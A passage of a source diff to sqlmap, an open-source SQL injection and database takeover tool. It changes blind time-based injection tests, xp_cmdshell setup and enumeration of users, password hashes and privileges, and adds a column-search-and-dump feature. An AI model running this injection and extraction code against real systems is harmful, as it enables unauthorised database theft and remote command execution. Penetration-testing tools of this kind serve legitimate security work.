return self.do_open(self.getConnection, req)
|
||||||
|
|
||||||
def getConnection(self, host):
|
def getConnection(self, host):
|
||||||
return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)
|
if sys.version_info >= (2,6):
|
||||||
|
retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file, timeout=conf.timeout)
|
||||||
|
else:
|
||||||
|
retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)
|
||||||
|
return retVal
|
||||||
|
|||||||
@@ -350,6 +350,8 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
|
|||||||
expression = expandAsteriskForColumns(expression)
|
expression = expandAsteriskForColumns(expression)
|
||||||
value = None
|
value = None
|
||||||
|
|
||||||
|
expression = expression.replace("DISTINCT ", "")
|
||||||
|
|
||||||
if inband and kb.unionPosition:
|
if inband and kb.unionPosition:
|
||||||
if kb.dbms == "Oracle" and " ORDER BY " in expression:
|
if kb.dbms == "Oracle" and " ORDER BY " in expression:
|
||||||
expression = expression[:expression.index(" ORDER BY ")]
|
expression = expression[:expression.index(" ORDER BY ")]
|
||||||
|
|||||||
@@ -95,7 +95,7 @@ class Abstraction(UDF, xp_cmdshell):
|
|||||||
else:
|
else:
|
||||||
self.execCmd(cmd, forgeCmd=True)
|
self.execCmd(cmd, forgeCmd=True)
|
||||||
|
|
||||||
if not conf.osShell and not conf.cleanup:
|
if not conf.osShell and not conf.osPwn and not conf.cleanup:
|
||||||
self.__cmdShellCleanup()
|
self.__cmdShellCleanup()
|
||||||
|
|
||||||
def absOsShell(self):
|
def absOsShell(self):
|
||||||
@@ -151,7 +151,7 @@ class Abstraction(UDF, xp_cmdshell):
|
|||||||
|
|
||||||
self.checkDbmsOs(detailed)
|
self.checkDbmsOs(detailed)
|
||||||
|
|
||||||
if not self.isDba():
|
if mandatory and not self.isDba():
|
||||||
warnMsg = "the functionality requested might not work because "
|
warnMsg = "the functionality requested might not work because "
|
||||||
warnMsg += "the session user is not a database administrator"
|
warnMsg += "the session user is not a database administrator"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
@@ -160,8 +160,11 @@ class Abstraction(UDF, xp_cmdshell):
|
|||||||
self.udfInjectCmd()
|
self.udfInjectCmd()
|
||||||
|
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
self.xpCmdshellInit(mandatory)
|
if mandatory:
|
||||||
|
self.xpCmdshellInit()
|
||||||
|
|
||||||
else:
|
else:
|
||||||
errMsg = "feature not yet implemented for the back-end DBMS"
|
errMsg = "feature not yet implemented for the back-end DBMS"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
self.envInitialized = True
|
||||||
|
|||||||
@@ -145,7 +145,7 @@ class xp_cmdshell:
|
|||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
def xpCmdshellInit(self, mandatory=True):
|
def xpCmdshellInit(self):
|
||||||
self.__xpCmdshellAvailable = False
|
self.__xpCmdshellAvailable = False
|
||||||
|
|
||||||
infoMsg = "checking if xp_cmdshell extended procedure is "
|
infoMsg = "checking if xp_cmdshell extended procedure is "
|
||||||
@@ -187,19 +187,10 @@ class xp_cmdshell:
|
|||||||
warnMsg += "because sp_OACreate is disabled"
|
warnMsg += "because sp_OACreate is disabled"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if not self.__xpCmdshellAvailable and not mandatory:
|
if not self.__xpCmdshellAvailable:
|
||||||
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
|
|
||||||
warnMsg += "try to proceed without it"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
self.envInitialized = True
|
|
||||||
|
|
||||||
elif not self.__xpCmdshellAvailable:
|
|
||||||
errMsg = "unable to proceed without xp_cmdshell"
|
errMsg = "unable to proceed without xp_cmdshell"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
self.envInitialized = True
|
|
||||||
|
|
||||||
debugMsg = "creating a support table to write commands standard "
|
debugMsg = "creating a support table to write commands standard "
|
||||||
debugMsg += "output to"
|
debugMsg += "output to"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|||||||
@@ -31,12 +31,13 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
def timeTest():
|
def timeTest():
|
||||||
infoMsg = "testing time based blind sql injection on parameter "
|
infoMsg = "testing time based blind sql injection on parameter "
|
||||||
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
|
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
timeQuery = getDelayQuery()
|
timeQuery = getDelayQuery(andCond=True)
|
||||||
query = agent.prefixQuery(" AND %s" % timeQuery)
|
query = agent.prefixQuery(" AND %s" % timeQuery)
|
||||||
query = agent.postfixQuery(query)
|
query = agent.postfixQuery(query)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
@@ -60,9 +61,10 @@ def timeTest():
|
|||||||
infoMsg += "'%s' with stacked query syntax" % kb.injParameter
|
infoMsg += "'%s' with stacked query syntax" % kb.injParameter
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
start = time.time()
|
timeQuery = getDelayQuery(andCond=True)
|
||||||
payload, _ = inject.goStacked(timeQuery)
|
start = time.time()
|
||||||
duration = int(time.time() - start)
|
payload, _ = inject.goStacked(timeQuery)
|
||||||
|
duration = int(time.time() - start)
|
||||||
|
|
||||||
if duration >= conf.timeSec:
|
if duration >= conf.timeSec:
|
||||||
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
|
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
|
||||||
@@ -78,6 +80,7 @@ def timeTest():
|
|||||||
kb.timeTest = False
|
kb.timeTest = False
|
||||||
|
|
||||||
return kb.timeTest
|
return kb.timeTest
|
||||||
|
|
||||||
def timeUse(query):
|
def timeUse(query):
|
||||||
start = time.time()
|
start = time.time()
|
||||||
_, _ = inject.goStacked(query)
|
_, _ = inject.goStacked(query)
|
||||||
|
|||||||
@@ -352,9 +352,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
|
||||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
|
||||||
|
|
||||||
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
|
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
|
||||||
|
|
||||||
if datadirSubstr == "/":
|
if datadirSubstr == "/":
|
||||||
@@ -553,7 +550,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
self.udfSharedLibExt = "so"
|
self.udfSharedLibExt = "so"
|
||||||
|
|
||||||
self.udfInjectCore(self.sysUdfs)
|
self.udfInjectCore(self.sysUdfs)
|
||||||
self.envInitialized = True
|
|
||||||
|
|
||||||
def uncPathRequest(self):
|
def uncPathRequest(self):
|
||||||
if not kb.stackedTest:
|
if not kb.stackedTest:
|
||||||
|
|||||||
@@ -464,7 +464,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
self.udfSharedLibExt = "so"
|
self.udfSharedLibExt = "so"
|
||||||
|
|
||||||
self.udfInjectCore(self.sysUdfs)
|
self.udfInjectCore(self.sysUdfs)
|
||||||
self.envInitialized = True
|
|
||||||
|
|
||||||
def uncPathRequest(self):
|
def uncPathRequest(self):
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||||
|
|||||||
@@ -190,7 +190,11 @@ class Enumeration:
|
|||||||
errMsg = "unable to retrieve the number of database users"
|
errMsg = "unable to retrieve the number of database users"
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
indexRange = getRange(count)
|
if kb.dbms == "Oracle":
|
||||||
|
plusOne = True
|
||||||
|
else:
|
||||||
|
plusOne = False
|
||||||
|
indexRange = getRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if condition:
|
if condition:
|
||||||
@@ -299,7 +303,12 @@ class Enumeration:
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
passwords = []
|
passwords = []
|
||||||
indexRange = getRange(count)
|
|
||||||
|
if kb.dbms == "Oracle":
|
||||||
|
plusOne = True
|
||||||
|
else:
|
||||||
|
plusOne = False
|
||||||
|
indexRange = getRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if kb.dbms == "Microsoft SQL Server":
|
if kb.dbms == "Microsoft SQL Server":
|
||||||
@@ -543,7 +552,12 @@ class Enumeration:
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
privileges = set()
|
privileges = set()
|
||||||
indexRange = getRange(count)
|
|
||||||
|
if kb.dbms == "Oracle":
|
||||||
|
plusOne = True
|
||||||
|
else:
|
||||||
|
plusOne = False
|
||||||
|
indexRange = getRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||||
@@ -742,7 +756,12 @@ class Enumeration:
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
tables = []
|
tables = []
|
||||||
indexRange = getRange(count)
|
|
||||||
|
if kb.dbms in ( "Microsoft SQL Server", "Oracle" ):
|
||||||
|
plusOne = True
|
||||||
|
else:
|
||||||
|
plusOne = False
|
||||||
|
indexRange = getRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
query = rootQuery["blind"]["query"] % (db, index)
|
query = rootQuery["blind"]["query"] % (db, index)
|
||||||
@@ -785,31 +804,46 @@ class Enumeration:
|
|||||||
|
|
||||||
conf.db = self.getCurrentDb()
|
conf.db = self.getCurrentDb()
|
||||||
|
|
||||||
infoMsg = "fetching columns "
|
rootQuery = queries[kb.dbms].columns
|
||||||
|
|
||||||
|
infoMsg = "fetching columns "
|
||||||
|
|
||||||
|
if conf.col:
|
||||||
|
if kb.dbms == "Oracle":
|
||||||
|
conf.col = conf.col.upper()
|
||||||
|
colList = conf.col.split(",")
|
||||||
|
condition = rootQuery["blind"]["condition"]
|
||||||
|
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
|
||||||
|
infoMsg += "like '%s' " % ", ".join(col for col in colList)
|
||||||
|
else:
|
||||||
|
condQuery = ""
|
||||||
|
|
||||||
infoMsg += "for table '%s' " % conf.tbl
|
infoMsg += "for table '%s' " % conf.tbl
|
||||||
infoMsg += "on database '%s'" % conf.db
|
infoMsg += "on database '%s'" % conf.db
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].columns
|
|
||||||
|
|
||||||
if kb.unionPosition:
|
if kb.unionPosition:
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
|
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
|
||||||
elif kb.dbms == "Oracle":
|
elif kb.dbms == "Oracle":
|
||||||
query = rootQuery["inband"]["query"] % conf.tbl.upper()
|
query = rootQuery["inband"]["query"] % conf.tbl.upper()
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
# TODO: adjust with condQuery
|
||||||
query = rootQuery["inband"]["query"] % (conf.db, conf.db,
|
query = rootQuery["inband"]["query"] % (conf.db, conf.db,
|
||||||
conf.db, conf.db,
|
conf.db, conf.db,
|
||||||
conf.db, conf.db,
|
conf.db, conf.db,
|
||||||
conf.db, conf.tbl)
|
conf.db, conf.tbl)
|
||||||
|
|
||||||
|
query += condQuery
|
||||||
value = inject.getValue(query, blind=False)
|
value = inject.getValue(query, blind=False)
|
||||||
|
|
||||||
if value:
|
if value:
|
||||||
table = {}
|
table = {}
|
||||||
columns = {}
|
columns = {}
|
||||||
|
|
||||||
for column, colType in value:
|
for column, colType in value:
|
||||||
columns[column] = colType
|
columns[column] = colType
|
||||||
|
|
||||||
table[conf.tbl] = columns
|
table[conf.tbl] = columns
|
||||||
kb.data.cachedColumns[conf.db] = table
|
kb.data.cachedColumns[conf.db] = table
|
||||||
|
|
||||||
@@ -824,8 +858,10 @@ class Enumeration:
|
|||||||
elif kb.dbms == "Oracle":
|
elif kb.dbms == "Oracle":
|
||||||
query = rootQuery["blind"]["count"] % conf.tbl.upper()
|
query = rootQuery["blind"]["count"] % conf.tbl.upper()
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
# TODO: adjust with condQuery
|
||||||
query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
|
query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
|
||||||
|
|
||||||
|
query += condQuery
|
||||||
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||||
|
|
||||||
if not count.isdigit() or not len(count) or count == "0":
|
if not count.isdigit() or not len(count) or count == "0":
|
||||||
@@ -834,24 +870,27 @@ class Enumeration:
|
|||||||
errMsg += "on database '%s'" % conf.db
|
errMsg += "on database '%s'" % conf.db
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
|
table = {}
|
||||||
|
columns = {}
|
||||||
|
|
||||||
if kb.dbms == "Microsoft SQL Server":
|
if kb.dbms == "Microsoft SQL Server":
|
||||||
plusOne = True
|
plusOne = True
|
||||||
else:
|
else:
|
||||||
plusOne = False
|
plusOne = False
|
||||||
|
|
||||||
table = {}
|
|
||||||
columns = {}
|
|
||||||
indexRange = getRange(count, plusOne=plusOne)
|
indexRange = getRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
query = rootQuery["blind"]["query"] % (conf.tbl, conf.db, index)
|
query = rootQuery["blind"]["query"] % (conf.tbl, conf.db)
|
||||||
elif kb.dbms == "Oracle":
|
elif kb.dbms == "Oracle":
|
||||||
query = rootQuery["blind"]["query"] % (conf.tbl.upper(), index)
|
query = rootQuery["blind"]["query"] % (conf.tbl.upper())
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
# TODO: adjust with condQuery
|
||||||
query = rootQuery["blind"]["query"] % (index, conf.db,
|
query = rootQuery["blind"]["query"] % (index, conf.db,
|
||||||
conf.db, conf.tbl)
|
conf.db, conf.tbl)
|
||||||
|
|
||||||
|
query += condQuery
|
||||||
|
query = agent.limitQuery(index, query)
|
||||||
column = inject.getValue(query, inband=False)
|
column = inject.getValue(query, inband=False)
|
||||||
|
|
||||||
if not onlyColNames:
|
if not onlyColNames:
|
||||||
@@ -881,11 +920,275 @@ class Enumeration:
|
|||||||
|
|
||||||
return kb.data.cachedColumns
|
return kb.data.cachedColumns
|
||||||
|
|
||||||
def dumpTable(self):
|
def dumpColumn(self):
|
||||||
if not conf.tbl:
|
# TODO: adjust for MSSQL
|
||||||
errMsg = "missing table parameter"
|
|
||||||
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||||
|
errMsg = "information_schema not available, "
|
||||||
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
if not conf.col:
|
||||||
|
errMsg = "missing column parameter"
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||||
|
|
||||||
|
rootQuery = queries[kb.dbms].dumpColumn
|
||||||
|
foundCols = {}
|
||||||
|
dbs = {}
|
||||||
|
colList = conf.col.split(",")
|
||||||
|
colCond = rootQuery["inband"]["condition"]
|
||||||
|
dbCond = rootQuery["inband"]["condition2"]
|
||||||
|
|
||||||
|
message = "do you want sqlmap to consider provided column(s):\n"
|
||||||
|
message += "[1] as LIKE column names (default)\n"
|
||||||
|
message += "[2] as exact column names"
|
||||||
|
colConsider = readInput(message, default="1")
|
||||||
|
|
||||||
|
if not colConsider or colConsider.isdigit() and colConsider == "1":
|
||||||
|
colConsider = "1"
|
||||||
|
colCondParam = " LIKE '%%%s%%'"
|
||||||
|
elif colConsider.isdigit() and colConsider == "2":
|
||||||
|
colCondParam = "='%s'"
|
||||||
|
else:
|
||||||
|
errMsg = "invalid value"
|
||||||
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
|
if kb.dbms == "Microsoft SQL Server":
|
||||||
|
plusOne = True
|
||||||
|
else:
|
||||||
|
plusOne = False
|
||||||
|
|
||||||
|
for column in colList:
|
||||||
|
if kb.dbms == "Oracle":
|
||||||
|
column = column.upper()
|
||||||
|
conf.db = "USERS"
|
||||||
|
|
||||||
|
foundCols[column] = {}
|
||||||
|
|
||||||
|
if conf.db:
|
||||||
|
for db in conf.db.split(","):
|
||||||
|
dbs[db] = {}
|
||||||
|
foundCols[column][db] = []
|
||||||
|
|
||||||
|
continue
|
||||||
|
|
||||||
|
infoMsg = "fetching databases with tables containing column"
|
||||||
|
if colConsider == "1":
|
||||||
|
infoMsg += "s like"
|
||||||
|
infoMsg += " '%s'" % column
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if conf.excludeSysDbs and kb.dbms != "Oracle":
|
||||||
|
dbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
|
||||||
|
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
else:
|
||||||
|
dbsQuery = ""
|
||||||
|
|
||||||
|
colQuery = "%s%s" % (colCond, colCondParam)
|
||||||
|
colQuery = colQuery % column
|
||||||
|
|
||||||
|
if kb.unionPosition:
|
||||||
|
query = rootQuery["inband"]["query"]
|
||||||
|
query += colQuery
|
||||||
|
query += dbsQuery
|
||||||
|
values = inject.getValue(query, blind=False)
|
||||||
|
|
||||||
|
if values:
|
||||||
|
if isinstance(values, str):
|
||||||
|
values = [ values ]
|
||||||
|
|
||||||
|
for value in values:
|
||||||
|
dbs[value] = {}
|
||||||
|
foundCols[column][value] = []
|
||||||
|
else:
|
||||||
|
infoMsg = "fetching number of databases with tables containing column"
|
||||||
|
if colConsider == "1":
|
||||||
|
infoMsg += "s like"
|
||||||
|
infoMsg += " '%s'" % column
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
query = rootQuery["blind"]["count"]
|
||||||
|
query += colQuery
|
||||||
|
query += dbsQuery
|
||||||
|
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||||
|
|
||||||
|
if not count.isdigit() or not len(count) or count == "0":
|
||||||
|
warnMsg = "no databases have tables containing column"
|
||||||
|
if colConsider == "1":
|
||||||
|
warnMsg += "s like"
|
||||||
|
warnMsg += " '%s'" % column
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
continue
|
||||||
|
|
||||||
|
indexRange = getRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
|
for index in indexRange:
|
||||||
|
query = rootQuery["blind"]["query"]
|
||||||
|
query += colQuery
|
||||||
|
query += dbsQuery
|
||||||
|
query = agent.limitQuery(index, query)
|
||||||
|
db = inject.getValue(query, inband=False)
|
||||||
|
dbs[db] = {}
|
||||||
|
foundCols[column][db] = []
|
||||||
|
|
||||||
|
for column, dbData in foundCols.items():
|
||||||
|
colQuery = "%s%s" % (colCond, colCondParam)
|
||||||
|
colQuery = colQuery % column
|
||||||
|
|
||||||
|
for db in dbData:
|
||||||
|
infoMsg = "fetching tables containing column"
|
||||||
|
if colConsider == "1":
|
||||||
|
infoMsg += "s like"
|
||||||
|
infoMsg += " '%s' in database '%s'" % (column, db)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if kb.unionPosition:
|
||||||
|
query = rootQuery["inband"]["query2"]
|
||||||
|
if kb.dbms == "Oracle":
|
||||||
|
query += " WHERE %s" % colQuery
|
||||||
|
else:
|
||||||
|
query = query % db
|
||||||
|
query += " AND %s" % colQuery
|
||||||
|
values = inject.getValue(query, blind=False)
|
||||||
|
|
||||||
|
if values:
|
||||||
|
if isinstance(values, str):
|
||||||
|
values = [ values ]
|
||||||
|
|
||||||
|
for value in values:
|
||||||
|
if value not in dbs[db]:
|
||||||
|
dbs[db][value] = {}
|
||||||
|
|
||||||
|
dbs[db][value][column] = None
|
||||||
|
foundCols[column][db].append(value)
|
||||||
|
else:
|
||||||
|
infoMsg = "fetching number of tables containing column"
|
||||||
|
if colConsider == "1":
|
||||||
|
infoMsg += "s like"
|
||||||
|
infoMsg += " '%s' in database '%s'" % (column, db)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
query = rootQuery["blind"]["count2"]
|
||||||
|
if kb.dbms == "Oracle":
|
||||||
|
query += " WHERE %s" % colQuery
|
||||||
|
else:
|
||||||
|
query = query % db
|
||||||
|
query += " AND %s" % colQuery
|
||||||
|
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||||
|
|
||||||
|
if not count.isdigit() or not len(count) or count == "0":
|
||||||
|
warnMsg = "no tables contain column"
|
||||||
|
if colConsider == "1":
|
||||||
|
warnMsg += "s like"
|
||||||
|
warnMsg += " '%s'" % column
|
||||||
|
warnMsg += "in database '%s'" % db
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
continue
|
||||||
|
|
||||||
|
indexRange = getRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
|
for index in indexRange:
|
||||||
|
query = rootQuery["blind"]["query2"]
|
||||||
|
if kb.dbms == "Oracle":
|
||||||
|
query += " WHERE %s" % colQuery
|
||||||
|
else:
|
||||||
|
query = query % db
|
||||||
|
query += " AND %s" % colQuery
|
||||||
|
query = agent.limitQuery(index, query)
|
||||||
|
tbl = inject.getValue(query, inband=False)
|
||||||
|
|
||||||
|
if tbl not in dbs[db]:
|
||||||
|
dbs[db][tbl] = {}
|
||||||
|
|
||||||
|
dbs[db][tbl][column] = None
|
||||||
|
foundCols[column][db].append(tbl)
|
||||||
|
|
||||||
|
if colConsider == "1":
|
||||||
|
okDbs = {}
|
||||||
|
|
||||||
|
for db, tableData in dbs.items():
|
||||||
|
conf.db = db
|
||||||
|
okDbs[db] = {}
|
||||||
|
|
||||||
|
for tbl, columns in tableData.items():
|
||||||
|
conf.tbl = tbl
|
||||||
|
|
||||||
|
for column in columns:
|
||||||
|
conf.col = column
|
||||||
|
|
||||||
|
self.getColumns(onlyColNames=True)
|
||||||
|
|
||||||
|
if tbl in okDbs[db]:
|
||||||
|
okDbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
|
||||||
|
else:
|
||||||
|
okDbs[db][tbl] = kb.data.cachedColumns[db][tbl]
|
||||||
|
|
||||||
|
kb.data.cachedColumns = {}
|
||||||
|
|
||||||
|
dbs = okDbs
|
||||||
|
|
||||||
|
if not dbs:
|
||||||
|
warnMsg = "no databases have tables containing any of the "
|
||||||
|
warnMsg += "provided columns"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
return
|
||||||
|
|
||||||
|
dumper.dbColumns(foundCols, colConsider, dbs)
|
||||||
|
|
||||||
|
message = "do you want to dump entries? [Y/n] "
|
||||||
|
output = readInput(message, default="Y")
|
||||||
|
|
||||||
|
if output not in ("y", "Y"):
|
||||||
|
return
|
||||||
|
|
||||||
|
dumpFromDbs = []
|
||||||
|
message = "which database?\n[a]ll (default)\n"
|
||||||
|
|
||||||
|
for db in dbs:
|
||||||
|
message += "[%s]\n" % db
|
||||||
|
|
||||||
|
message += "[q]uit"
|
||||||
|
test = readInput(message, default="a")
|
||||||
|
|
||||||
|
if not test or test[0] in ("a", "A"):
|
||||||
|
dumpFromDbs = dbs.keys()
|
||||||
|
|
||||||
|
elif test[0] in ("q", "Q"):
|
||||||
|
return
|
||||||
|
|
||||||
|
else:
|
||||||
|
dumpFromDbs = test.replace(" ", "").split(",")
|
||||||
|
|
||||||
|
for db, tblData in dbs.items():
|
||||||
|
if db not in dumpFromDbs:
|
||||||
|
continue
|
||||||
|
|
||||||
|
conf.db = db
|
||||||
|
|
||||||
|
for table, columns in tblData.items():
|
||||||
|
conf.tbl = table
|
||||||
|
conf.col = ",".join(column for column in columns)
|
||||||
|
kb.data.cachedColumns = {}
|
||||||
|
kb.data.dumpedTable = {}
|
||||||
|
|
||||||
|
data = self.dumpTable()
|
||||||
|
|
||||||
|
if data:
|
||||||
|
dumper.dbTableValues(data)
|
||||||
|
|
||||||
|
def dumpTable(self):
|
||||||
|
if not conf.tbl and not conf.col:
|
||||||
|
errMsg = "missing both table and column parameters, please "
|
||||||
|
errMsg += "provide at least one of them"
|
||||||
|
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||||
|
|
||||||
|
if conf.col and not conf.tbl:
|
||||||
|
self.dumpColumn()
|
||||||
|
return
|
||||||
|
|
||||||
if "." in conf.tbl:
|
if "." in conf.tbl:
|
||||||
conf.db, conf.tbl = conf.tbl.split(".")
|
conf.db, conf.tbl = conf.tbl.split(".")
|
||||||
|
|
||||||
@@ -926,6 +1229,8 @@ class Enumeration:
|
|||||||
infoMsg += " on database '%s'" % conf.db
|
infoMsg += " on database '%s'" % conf.db
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
entriesCount = 0
|
||||||
|
|
||||||
if kb.unionPosition:
|
if kb.unionPosition:
|
||||||
if kb.dbms == "Oracle":
|
if kb.dbms == "Oracle":
|
||||||
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
|
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
|
||||||
@@ -934,6 +1239,9 @@ class Enumeration:
|
|||||||
entries = inject.getValue(query, blind=False)
|
entries = inject.getValue(query, blind=False)
|
||||||
|
|
||||||
if entries:
|
if entries:
|
||||||
|
if isinstance(entries, str):
|
||||||
|
entries = [ entries ]
|
||||||
|
|
||||||
entriesCount = len(entries)
|
entriesCount = len(entries)
|
||||||
index = 0
|
index = 0
|
||||||
|
|
||||||
@@ -974,17 +1282,15 @@ class Enumeration:
|
|||||||
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||||
|
|
||||||
if not count.isdigit() or not len(count) or count == "0":
|
if not count.isdigit() or not len(count) or count == "0":
|
||||||
errMsg = "unable to retrieve the number of "
|
warnMsg = "unable to retrieve the number of "
|
||||||
if conf.col:
|
if conf.col:
|
||||||
errMsg += "columns '%s' " % colString
|
warnMsg += "columns '%s' " % colString
|
||||||
errMsg += "entries for table '%s' " % conf.tbl
|
warnMsg += "entries for table '%s' " % conf.tbl
|
||||||
errMsg += "on database '%s'" % conf.db
|
warnMsg += "on database '%s'" % conf.db
|
||||||
|
|
||||||
if conf.dumpAll:
|
logger.warn(warnMsg)
|
||||||
logger.warn(errMsg)
|
|
||||||
return None
|
return None
|
||||||
else:
|
|
||||||
raise sqlmapNoneDataException, errMsg
|
|
||||||
|
|
||||||
lengths = {}
|
lengths = {}
|
||||||
entries = {}
|
entries = {}
|
||||||
@@ -1036,17 +1342,15 @@ class Enumeration:
|
|||||||
"db": conf.db
|
"db": conf.db
|
||||||
}
|
}
|
||||||
else:
|
else:
|
||||||
errMsg = "unable to retrieve the entries of "
|
warnMsg = "unable to retrieve the entries of "
|
||||||
if conf.col:
|
if conf.col:
|
||||||
errMsg += "columns '%s' " % colString
|
warnMsg += "columns '%s' " % colString
|
||||||
errMsg += "for table '%s' " % conf.tbl
|
warnMsg += "for table '%s' " % conf.tbl
|
||||||
errMsg += "on database '%s'" % conf.db
|
warnMsg += "on database '%s'" % conf.db
|
||||||
|
|
||||||
if conf.dumpAll:
|
logger.warn(warnMsg)
|
||||||
logger.warn(errMsg)
|
|
||||||
return None
|
return None
|
||||||
else:
|
|
||||||
raise sqlmapNoneDataException, errMsg
|
|
||||||
|
|
||||||
return kb.data.dumpedTable
|
return kb.data.dumpedTable
|
||||||
|
|
||||||
@@ -1076,8 +1380,8 @@ class Enumeration:
|
|||||||
dumper.dbTableValues(data)
|
dumper.dbTableValues(data)
|
||||||
|
|
||||||
def sqlQuery(self, query):
|
